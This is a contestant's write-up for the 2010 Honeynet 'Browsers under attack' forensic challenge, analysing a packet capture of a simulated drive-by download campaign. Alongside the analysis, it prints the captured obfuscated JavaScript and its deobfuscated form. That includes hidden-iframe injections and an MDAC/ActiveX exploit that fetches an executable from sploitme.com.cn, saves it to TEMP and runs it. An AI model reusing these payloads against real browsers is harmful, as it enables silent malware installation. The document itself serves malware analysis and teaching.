

## Challenge 2: Browsers under attack (intermediate)

### Submission Template

Submit your solution at <http://www.honeynet.org/challenge2010/> by 17:00 EST, Monday, March 1st 2010. Results will be released on Monday, March 15th 2010.

Name (required): Mario Pascucci	Email (required): <a href="mailto:mpascucci@gmail.com">mpascucci@gmail.com</a>
Country (optional): Italy	Profession (optional): <input type="checkbox"/> Student <input checked="" type="checkbox"/> Security Professional <input type="checkbox"/> Other

Question 1. List the protocols found in the capture. What protocol do you think the attack is/are based on?	Possible Points: 2pts
Tools Used: Wireshark	
Awarded Points:	
Capture shows lots of protocols. Lower level: IP, ARP, ICMP, UDP, TCP, IGMP. Higher level: DHCP, HTTP, NetBIOS, DNS. Following analysis suggest that protocol used in attacks is HTTP/TCP.	

Question 2. List IPs, hosts names / domain names. What can you tell about it - extrapolate?	Possible Points: 4pts
Tools Used: Wireshark, whois, dig, host	
Apparently, there are a lot of IP involved, but at a closer look we can group in few categories: <ul style="list-style-type: none"> <li>• Victims: 10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15</li> <li>• Attacker: 192.168.56.52 (hostname: sploitme.com.cn)</li> <li>• Services: 10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP servers and gateways); 192.168.1.1 (DNS);</li> <li>• simulated hacked hosts: 192.168.56.51 (hostname: shop.honeynet.sg), 192.168.56.50 (hostname: rapidshare.com.eyu32.ru),</li> <li>• External hosts: <a href="http://www.honeynet.org">www.honeynet.org</a>, <a href="http://www.google.com">www.google.com</a>, <a href="http://www.google.fr">www.google.fr</a>, <a href="http://www.google-analytics.com">www.google-analytics.com</a></li> </ul> Victims and DHCP IP addresses are identical to addresses used by QEMU virtual network environment, and the same suggests MAC addresses of DHCP and gateway, so, with good confidence, we can say that victims are honeypots. Attackers IP addresses are private (rfc1918), and their hostname doesn't exists on Internet, so we can assume that even attackers are simulated. An exception came from shop.honeynet.sg (203.117.131.40), that exists in Internet, but in the capture it is never contacted, every request go to an internal host (192.168.56.51).	

Question 3. List all the web pages. List those visited containing suspect and possibly malicious javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages	Possible Points: 6pts
Tools Used: Wireshark, Vim, Firefox	
<p>Web pages visited are:</p> <ol style="list-style-type: none"> <li>1. rapidshare.com.eyu32.ru/login.php Page contains obfuscated Javascript code that loads page [2] into an &lt;IFRAME&gt; (apparently a simulated hacked website)</li> <li>2. sploitme.com.cn/?click=3feb5a6b2f it is a redirect page, via HTTP response code 302 FOUND to page [3]</li> <li>3. sploitme.com.cn/fg/show.php?s=3feb5a6b2f a fake 404 page, with another Javascript fragment, that change according to browser user agent visiting page.</li> <li>4. sploitme.com.cn/fg/load.php?e=1 a get to this url give an executable for Windows (video.exe) that loads URL [5]</li> <li>5. <a href="http://www.honeynet.org/">www.honeynet.org/</a></li> <li>6. <a href="http://www.google.com/">www.google.com/</a></li> <li>7. <a href="http://www.google.fr/">www.google.fr/</a></li> <li>8. <a href="http://www.google.fr/generate_204">www.google.fr/generate_204</a></li> <li>9. shop.honeynet.sg/catalog/ page with obfuscated fragment of Javascript code that load URL [10] into an &lt;IFRAME&gt; (apparently a simulated hacked website)</li> <li>10. sploitme.com.cn/?click=84c090bd86 same as [2], but redirects to [11]</li> <li>11. sploitme.com.cn/fg/show.php?s=84c090bd86 This page contains a malicious Javascript code, deeply obfuscated, that tries to exploits through various vulnerable ActiveX controls (there is a list of target CLSID), a vulnerable AOL-branded WinAmp radio player, a vulnerable directshow control, a problem in Microsoft Outlook Address book file parsing (.wab), a vulnerability of Office Web component OWC10.Spreadsheet ActiveX. More details follows.</li> <li>12. sploitme.com.cn/fg/directshow.php This page give a fake JPG image that exploits a vulnerability in Microsoft Video ActiveX Control, in the 'MPEG2TuneRequest' object through malformed data, used by script in page [11].</li> <li>13. sploitme.com.cn/fg/load.php?e=3 same as [4]</li> <li>14. sploitme.com.cn/fg/show.php same as [3]</li> <li>15. <a href="http://www.google-analytics.com">www.google-analytics.com</a></li> </ol> <p>There are three category of malicious web pages:</p> <ol style="list-style-type: none"> <li>1. hacked web site with Javascript injected code (pages [1], [9]) that force browser to visit other web site</li> <li>2. active attack web page (URL [3], [11], [14], same web page sploitme.com.cn/fg/show.php), that check visitors' browser user agent and IP geolocation to choose if doing an attack and what kind of attack.</li> <li>3. Service pages: root page of sploitme.com.cn/ (doing a redirect via header 302 FOUND); page sploitme.com.cn/fg/load.php (to get malware executable, selected from URL parameter 'e'); page sploitme.com.cn/fg/directshow.php (to get specially crafted files, to exploit some vulnerabilities, i.e. a fake JPG file)</li> </ol>	

Question 4. Can you sketch an overview of the general actions performed by the attackers?	Possible Points: 2pts
Tools Used: Wireshark, vim, firefox	
<p>In real world, attackers inject malicious javascript in vulnerable websites, using XSS, RFI or whatever. Javascript code is deeply obfuscated, and work silently, using IFRAMEs, CSS instructions and so on to hide changes in web pages. Visitors that view these pages first get redirected to a “active” analysis and attacking host (sploitme.com.cc) that provides first a redirect, through a 302 FOUND header, to a fake 404 page (i.e. the real HTTP response code is 200 OK, but page says “404 not found”, see pkt#63,174,366). In that page there is a server side code that checks for browser user agents, and emits another deeply obfuscated Javascript code that tries various exploits to execute code in victim's machine, without requiring user action.</p> <p>There is an evidence in the capture (pkt#299 to pkt#366) that shows the ability to detect country of visitors, probably through GeoIP, and select visitors only from (or exclude from) a country to apply for malicious web pages. Evidence is that Google redirects visitors that ask for <a href="http://www.google.com">www.google.com</a> to a nearest server, with appropriate language. In the capture there is a visit to Google that redirect visitor to <a href="http://www.google.fr">www.google.fr</a> and the visit that occur immediately after, to simulated hacked website (the simulated RapidShare) that redirect browser to malicious web site (sploitme.com.cn), it gets a harmless page, that not contains any Javascript at all (pkt#366).</p>	

Question 5. What steps are taken to slow the analysis down?	Possible Points: 2pts
Tools Used: Vim, Wireshark	
<p>Hacked web pages contains Javascript code that is obfuscated and easily go unnoticed, even for regular webmaster. Attacks are made without opening new windows or popups, so at a normal visitor, even if notice the attack, it seems conducted by hacked website.</p> <p>Attack coming from another host, that never appear in normal code, but only in obfuscated one, so it is impossible to know it, without decode Javascript code.</p> <p>Even if someone decode the Javascript, and go on attacker's host, it will see a 404 page, a fake with other Javascript code, deeply obfuscated.</p> <p>So, one step is to slow down the discover of malicious code injected in hacked web pages (obfuscation, iframes, CSS style “visibility:hidden”), one to slow down the identification of the source of attacks (obfuscation, fake 404 pages, encoded urls) and finally a deeply obfuscation of real Javascript exploit code, that slow down analysis at all. One more step is that shellcode in Javascript is coded with Unicode escape sequence (%u) and it is not trivial to extract the real binary code of shellcodes.</p> <p>Another step can be the check made on browser user agent: who use other operating systems or browsers (like most Security professionals) gets only harmless code.</p>	

Question 6. Provide the javascripts from the pages identified in the previous question. Decode/deobfuscate them too.	Possible Points: 8pts
Tools Used: Wireshark, Vim	
Page: rapidshare.com.eyu32.ru/login.php (pkt#28,#128,#338)	
Code:	
<pre>eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+(c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]  e(c);k=[function(e){return r[e]}};e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('q.r(s("%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c%k%0%2%7%1%l%3%k%7%l%3%a%b%t%3%c%0%3%u%4%v%6%1%f%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%g%1%a%p%h%b%0%6%d%e%7%1%p%C"))';,39,39,'69 65 74 63 3D 68 66 6D 20 73 22 2F 6C 72 61 62 64 3C 70 3A 6F 2E 6E 31 79 3E document write unescape 3F 6B 33 35 36 32 77 67 76 </pre>	

```
0A'.split('|'),0,{}));
```

Deobfuscated:

```
document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%70%6C%6F%69%74%6D%65%2E%63%6F%6D%2E%63%6E%2F%3F%63%6C%69%63%6B%3D%33%66%65%62%35%61%36%62%32%66%22%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A"));
```

2<sup>nd</sup> Deobfuscation:

```
<iframe src="http://sploitme.com.cn/?click=3feb5a6b2f"width=1 height=1 style="visibility: hidden"></iframe>
```

Page: sploitme.com.cn/fg/show.php with parameter s=3feb5a6b2f, Windows XP, language en-us and Firefox User Agent (pkt#63)

Code:

```
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNQPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^\A-Za-z0-9\+\=\\/\=]/g, '');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+));enc2=this._keyStr.indexOf(input.charAt(i+));enc3=this._keyStr.indexOf(input.charAt(i+));enc4=this._keyStr.indexOf(input.charAt(i+));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}}if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981891611891961912001401031901651221871621811701531691801171492052141772111711521871201822002231922121261221301701442101842112011041401301461801752291951901061681561881902221911741681721291661831281682231961521511631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591521511252011221711731881592041041281901661551502311961911521571631541491492111941931611411511241761982231922091531211851721551891921582011401732031431792051921901721571391681371362061891902191101431321371191901642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241761982231922091531211851721551882221220216211120416512119116218221115713216613617518620017616815812916618312819016417615114210418517816118422216120312512813516812217522220518710217117215517020420117515213013715414911920018418021115214216817517015219521717
```

```
8137170139156121171162195153156165172150179156216194152110121191175180176186180211
1521381301241692112002212011201622031571591831632052121051591591341441562132151891
7313019112419019120115821412616118213715716818722117615811119115719215823620317411
0105158177137212213174160163144170149173190201218207154122130187145211187163176158
1701601561591832251822131271581801761532192121892061651301531571751991861842111281
3819818816118918322320210314019915713820523120619017316915715118721320421120717414
4170136188200223192225152125139184170151200191193141158130147155149219183186126166
1831181452092141781891741521871331192002241922111321051311751691731922142041041281
9016714318723520420811916317115419122320419021911015616317913919916415522215112516
8115161184217218182172115143' ));
```

Deobfuscated:

```
function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
Complete();
```

Page: sploitme.com.cn/fg/show.php with parameter s=3feb5a6b2f, Windows XP SP2 or later, language en-us and Internet Explorer 6 (pkt#174)

Code:

```
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
decode:function(input){var output='';var chr1,chr2,chr3;var
enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^\A-Za-z0-9\+\=\&\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+
+));enc2=this._keyStr.indexOf(input.charAt(i+
+));enc3=this._keyStr.indexOf(input.charAt(i+
+));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|
(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)
{output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext)
{var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length)
{c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else
if((c>191)&&(c<224))
{c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=
String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var
i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179
2011851912141281421981891611891961912001401031901651221871621811701531691801171492
0521417721117115218712018220022319221212612213017014421018421120110414013014618017
```

5229195190106168156188190222191174168172129166183128168223196152151163160115168188  
1712231761221321931571581792281891891181651571551871512031941761561531911531911812  
0115915215112520112217117318815920410412819016615515023119619115215716315414914921  
1194193161141151124176198223192209153121185172155189192158201140173203143179205192  
1901721571391681371362061891902191101431321371191901642092141431371901221711731881  
5920410412819016615515023119619115215716315414914921119419316114115112417619822319  
220915312118517215518822212202162111204165121191162182211157132166136175186200176  
1681581291661831281901641761511421041851781611842221612031251281351681221752222051  
8710217117215517020420117515213013715414911920018418021115214216817517015219521717  
8137170139156121171162195153156165172150179156216194152110121191175180176186180211  
1521381301241692112002212011201622031571591831632052121051591591341441562132151891  
7313019112419019120115821412616118213715716818722117615811119115719215823620317411  
0105158177137212213174160163144170149173190201218207154122130187145211187163176158  
1701601561591832251822131271581801761532192121892061651301531571751991861842111281  
3819818816118918322320210314019915713820523120619017316915715118721320421120717414  
4170136188200223192225152125139184170151200191193141158130147155149219183186126166  
1831181452092141781891741521871331192002241922111321051311751691731922142041041281  
9016714318723520420811916317115419122320419021911015616317912119020217920615314215  
6182171172171215200140174190147154201225206175135173161172127219213157169168152132  
1751191992011912201421041391831472101922231791031441921431212212321951901341711811  
3817522019415618811013116516612620122317622412612517217916917220022319214010319014  
7154201163205174135158182138156218204194207161128204183180201201159209153125190185  
1692061801742021621401861671421871941811741091691801721791562142151731741271541401  
2819922419221815112219811517021122216120215910320014317817923519619012310217215212  
8206211215189159154149171188176202155209142142164173168168218214178141170139134180  
2092231811701231751571551871492132162111081531881161891772211842241431411521151611  
8617121120016214018816713820523118217015216415715512020720319418515915114917117917  
620222160155135194179161206217210202158162137167143175167207154126111180188124169  
2132151891571541531531511902232182111421051631781692062332161771741731921411922091  
7119515312310217111717421220418921110815617011514619820119521412614215517917215219  
6227204141170203147158157231188153139102166117145214204193181101129149166181177185  
1582151551411601711711721922171781241391941681221501711732121611631571341412221891  
9421910115319217512620022015522112916118217517117017121120016214018816713820523118  
217015216415715512020720319418515915114917117917620222160155135194179161206217210  
2021581621371671431751672071541261111801881241732041941851331431911791791901651872  
1415115919012416015118415419210315719315715420916920819110112918117615714921419417  
717012715414012620319521821215314113517317117222224201158120154165192205218181191  
1691041711551442042132281521211531911531752011851921831281251511821451502141901921  
0412819416614318223119115315716218013819021118919021910314317014017419923615517115  
2163168171171172200186178124123197141119171183190151135121158175149149213215189157  
1521651661831801651962071521591481751511891912231851401071321641591752322042121021  
6218017715221218815516917415213214517920016518321312813819811716018918720920412415  
8203147158154163204174172109182176141222187177177165152188116179177221214151143141  
1301781451501961761871391191921421542162241941731721641571171612132121771891701431  
6911617918016518822415414219811916817318716320116214013314014120519219017215710218  
2139137184204194173102144170145119176181213158155135194173160189196212200120158190  
1421592171622052131611091831381752221941931561611542031331371901651882151531631681  
5615515118821919314013213014213820119220319013117518011814921920421618417014115111  
6148184184188188138121181179150152162181192103124130156121204225196186161109183138  
1752221941931561611542031331371901651882151531631681561551511882191931401321301421  
3820119219115215713216613514421819915618917415419115319218818315518013612416415215  
6168213218182104103139134180209223181170123106179139144213213215189101154170141188  
1761821712151321051861781702061672242021241401991421382011861881891341641581391572  
2221217818517114419117518619119722621214214120218916118422118120412415820314318117

9222204212134165180177157216212173210108154191137192174185196215151125168173169151  
1671541931401071301471592052252052081061751721551492202121561561751441671411891911  
8621315815117513515217218918021418313712313716519215419220415313516216215114815621  
2227156133153153153188176181213158151175135155170210222154193136158191164158221222  
1951531101711821381572182141732101081522031201551902021962111391251391381681882342  
1417812412819416517622023518118716917615817514515021221120715815116911918617818121  
3158155135194176171188167212203124162200165176167230196174123160157134179156214215  
1731741271531741281781822221531421421551701691511882191931401321301661931502311961  
9115215716315514522220319421016412813318313818318221315313417616711614920616215618  
1138123204143155170234188171118170161151174223195189151172131151144190179183196171  
1301601901371482232041631771741731921681191751831851871431221601511561511901901921  
0213516614418717819817617213012113012015016919217217913711920114819316616218821013  
0175161152156223192216151163130149167126182199179156134161160137153170195222185138  
1311331491541491621841511381741581511782231912121761691361501491371782201752221311  
6015111814818518315620513615319714112221623318317111810416417313622319122715117213  
1150132190177198171222130122147183152223179225180120102201144139166233183171118173  
1591351362201921741931101282031861812022361712221301221721381481691921721791371192  
0114413916623018317111817315913412016919117416817213016613219017818217122213012214  
7186148169179154181163102192143138201169184212138176159173136152191177172169132204  
1561211911811541511431411671171471852171571821401311981571421782341962121221071591  
541522220421518017515616516618617516522115313112215111514918518322718415810314914  
6155200166182187134103159152152217195190169122133149116142182162196172135160159189  
1531852172281801011321391411922202242072251531251601521441521962121921751301671561  
9017922119521913112215918914818416215818413712713214315517823618518813817315911514  
8220195191188175136154115181177181206158130122171118148207192176180121161198149177  
1831821832081011021591171481531901902061751321661701871781822141741341021631871531  
7018722518117514313216915420022918015416810415918917917219222817610213618711519118  
2220180172129138163119148223183222184137162153149138149166184225134106160135170151  
1931741761721311661331281752352252131541021561331481691831581811371611351431551711  
8318720913017016013515321019318915110513113014011917719818715313013816311614917019  
1158181122128153146143149224182170153109164135137169191174203122132166156187179162  
1831531321371301151481492032261791381271301481551662301832091391251601521402211911  
9119311913518813612420319720521812710519813715017019217418410113615114917615018218  
7187126106158151152154192215176169135188132120178181154153134176147118152223221156  
1801591351331451781751711802241731711821541912161891902191041511531751861911972102  
2114216319417516015219622819010316218214215921716419519112615717115112021821419322  
3168133132175180176185163208150163168173171173192204200139102199166122187219205154  
1351751791541242111891741681681311651741281811972061581271751901221601851632132011  
0313213116515818723120617010616018117615720521417718912315215315318719120115915112  
8121182185160210226214192104135192142155217218182213131162182136141149214178177165  
1431921531191911972092131421042021711701521922181931201531971411211792292051531611  
6116117217021521215617716614416914511920016322221514113713518917118818822820312512  
8194165180200225183186173172171176183209203157185175141132175171177223226211151163  
1821151681681622261781361611371691581872292051531391091821391451542151561721101521  
9115312217418317620915312519011716118721818619216216619015612218222520415312716717  
2154149149213155219165142165174126203201184207153125160178146172199218204104103139  
1341802092231811741221661831181532222151942191031431701401741902201551711521631681  
7117117220018617812412319714112020119819515412716618113915221819915620716115215318  
6181176198222215143159186172146189230218193158158154165192205218181186161109179154  
1602121951562071611431321831451861812092151281421981351691511632252011241401301571  
5420422618515410216218013914920921515418117115217013318619120218821112812118912217  
3182226227193141136131166180153217206175127103172151187158216194152159143170149177  
1981812102111281421981241731822262181781741691371691522131822041531021731801381571  
49204189206165133133115146199201188207142175185179150220175167' ) );

Deobfuscated:

```
function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
var urltofile='http://sploitme.com.cn/fg/load.php?e=1';var
filename='update.exe';function Create0(o,n){var
r=null;try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,',')}catch(e){}}
if(!r){try{r=o.GetObject(',n')}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return r;}
function Go(a){var s=Create0(a,'WScript.Shell');var
o=Create0(a,'ADODB.Stream');var e=s.Environment('Process');var xhr=null;var
bin=e.Item('TEMP')+ '\\'+filename;try{xhr=new XMLHttpRequest();}
catch(e){try{xhr=new ActiveXObject('Microsoft.XMLHTTP');}
catch(e){xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');}}
if(!xhr)return(0);xhr.open('GET',urltofile,false)
xhr.send(null);var
filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.Sav
eToFile(bin,2);s.Run(bin,0);}
function mdac(){var i=0;var objects=new Array('{BD96C556-65A3-11D0-983A-
00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-
D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-
000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-
FCDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-
09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-
461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCDDDF-CA28-496b-B050-
6C07C962476B}',null);while(objects[i]){var
a=null;if(objects[i].substring(0,1)=='{')
{a=document.createElement('object');a.setAttribute('classid','clsid:'+objects[i].s
ubstring(1,objects[i].length-1)};else{try{a=new
ActiveXObject(objects[i]);}catch(e){}}
if(a){try{var b=Create0(a,'WScript.Shell');if(b){if(Go(a)){if(CheckIP())
{Complete();}else{Complete();}
return true;}}}catch(e){}}
i++;}
Complete();}
mdac();
```

Page: [shop.honeynet.sg/catalog/](http://shop.honeynet.sg/catalog/) with Windows XP SP2 or later, language en-us and Internet Explorer 6 (pkt#415)

Code:

```
var s="=jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:lce97#!xjeui>2!ifjhiu>2!
tuzmf>#wjtjcmjuz;!ijeefo#?=0jgsbnf?";m="";for(i=0;i<s.length;i++)
{if(s.charCodeAt(i)==28){m+="&";}else if(s.charCodeAt(i)==23){m+=
```

```
"!";}else{m+=String.fromCharCode(s.charCodeAt(i)-1);}document.write(m);
```

Deobfuscated:

```
<iframe src="http://sploitme.com.cn/?click=84c090bd86" width=1 height=1
style="visibility: hidden"></iframe>
```

Page: sploitme.com.cn/fg/show.php with parameter s=84c090bd86, Windows XP SP2 or later, Internet Explorer 6 user agent (pkt#496)

Code:

```
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',decode:function(input){var output='';var chr1,chr2,chr3;var
enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^\A-Za-z0-9\+\=\&\/\=\]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+
+));enc2=this._keyStr.indexOf(input.charAt(i+
+));enc3=this._keyStr.indexOf(input.charAt(i+
+));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|
(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)
{output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utf8text)
{var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utf8text.length)
{c=utf8text.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else
if((c>191)&&(c<224))
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=
String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var
i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179
2011851912141281421981891611891961912001401031901651221871621811701531691801171492
0521417721117115218712018220022319221212612213017014421018421120110414013014618017
5229195190106168156188190222191174168172129166183128168223196152151163160115168188
1712231761221321931571581792281891891181651571551871512031941761561531911531911812
0115915215112520112217117318815920410412819016615515023119619115215716315414914921
1194193161141151124176198223192209153121185172155189192158201140173203143179205192
1901721571391681371362061891902191101431321371191901642092141431371901221711731881
5920410412819016615515023119619115215716315414914921119419316114115112417619822319
2209153121185172155188222212202162111204165121191162182211157132166136175186200176
1681581291661831281901641761511421041851781611842221612031251281351681221752222051
8710217117215517020420117515213013715414911920018418021115214216817517015219521717
8137170139156121171162195153156165172150179156216194152110121191175180176186180211
1521381301241692112002212011201622031571591831632052121051591591341441562132151891
7313019112419019120115821412616118213715716818722117615811119115719215823620317411
0105158177137212213174160163144170149173190201218207154122130187145211187163176158
1701601561591832251822131271581801761532192121892061651301531571751991861842111281
3819818816118918322320210314019915713820523120619017316915715118721320421120717414
```

4170136188200223192225152125139184170151200191193141158130147155149219183186126166  
1831181452092141781891741521871331192002241922111321051311751691731922142041041281  
9016714318723520420811916317115419122320419021911015616317912119020217920615314215  
6182171172171215200140174190147154201225206175135173161172127219213157169168152132  
1751191992011912201421041391831472101922231791031441921431212212321951901341711811  
3817522019415618811013116516612620122317622412612517217916917220022319214010319014  
7154201163205174135158182138156218204194207161128204183180201201159209153125190185  
1692061801742021621401861671421871941811741091691801721791562142151731741271541401  
2819922419221815112219811517021122216120215910320014317817923519619012310217215212  
8206211215189159154149171188176202155209142142164173168168218214178141170139134180  
2092231811701231751571551871492132162111081531881161891772211842241431411521151611  
8617121120016214018816713820523118217015216415715512020720319418515915114917117917  
6202222160155135194179161206217210202158162137167143175167207154126111180188124169  
2132151891571541531531511902232182111421051631781692062332161771741731921411922091  
7119515312310217111717421220418921110815617011514619820119521412614215517917215219  
6227204141170203147158157231188153139102166117145214204193181101129149166181177185  
1582151551411601711711721922171781241391941681221501711732121611631571341412221891  
9421910115319217512620022015522112916118217517117017121120016214018816713820523118  
2170152164157155120207203194185159151149171179176202222160155135194179161206217210  
2021581621371671431751672071541261111801881241732041941851331431911791791901651872  
1415115919012416015118415419210315719315715420916920819110112918117615714921419417  
7170127154140126203195218212153141135173171172222224201158120154165192205218181191  
1691041711551442042132281521211531911531752011851921831281251511821451502141901921  
0412819416614318223119115315716218013819021118919021910314317014017419923615517115  
2163168171171172200186178124123197141119171183190151135121158175149149213215189157  
1521651661831801651962071521591481751511891912231851401071321641591752322042121021  
6218017715221218815516917415213214517920016518321312813819811716018918720920412415  
8203147158154163204174172109182176141222187177177165152188116179177221214151143141  
1301781451501961761871391191921421542162241941731721641571171612132121771891701431  
6911617918016518822415414219811916817318716320116214013314014120519219017215710218  
2139137184204194173102144170145119176181213158155135194173160189196212200120158190  
1421592171622052131611091831381752221941931561611542031331371901651882151531631681  
5615515118821919314013213014213820119220319013117518011814921920421618417014115111  
6148184184188188138121181179150152162181192103124130156121204225196186161109183138  
1752221941931561611542031331371901651882151531631681561551511882191931401321301421  
3820119219115215713216613514421819915618917415419115319218818315518013612416415215  
6168213218182104103139134180209223181170123106179139144213213215189101154170141188  
1761821712151321051861781702061672242021241401991421382011861881891341641581391572  
2221217818517114419117518619119722621214214120218916118422118120412415820314318117  
9222204212134165180177157216212173210108154191137192174185196215151125168173169151  
1671541931401071301471592052252052081061751721551492202121561561751441671411891911  
8621315815117513515217218918021418313712313716519215419220415313516216215114815621  
2227156133153153153188176181213158151175135155170210222154193136158191164158221222  
1951531101711821381572182141732101081522031201551902021962111391251391381681882342  
1417812412819416517622023518118716917615817514515021221120715815116911918617818121  
3158155135194176171188167212203124162200165176167230196174123160157134179156214215  
1731741271531741281781822221531421421551701691511882191931401321301661931502311961  
9115215716315514522220319421016412813318313818318221315313417616711614920616215618  
1138123204143155170234188171118170161151174223195189151172131151144190179183196171  
1301601901371482232041631771741731921681191751831851871431221601511561511901901921  
0213516614418717819817617213012113012015016919217217913711920114819316616218821013  
0175161152156223192216151163130149167126182199179156134161160137153170195222185138  
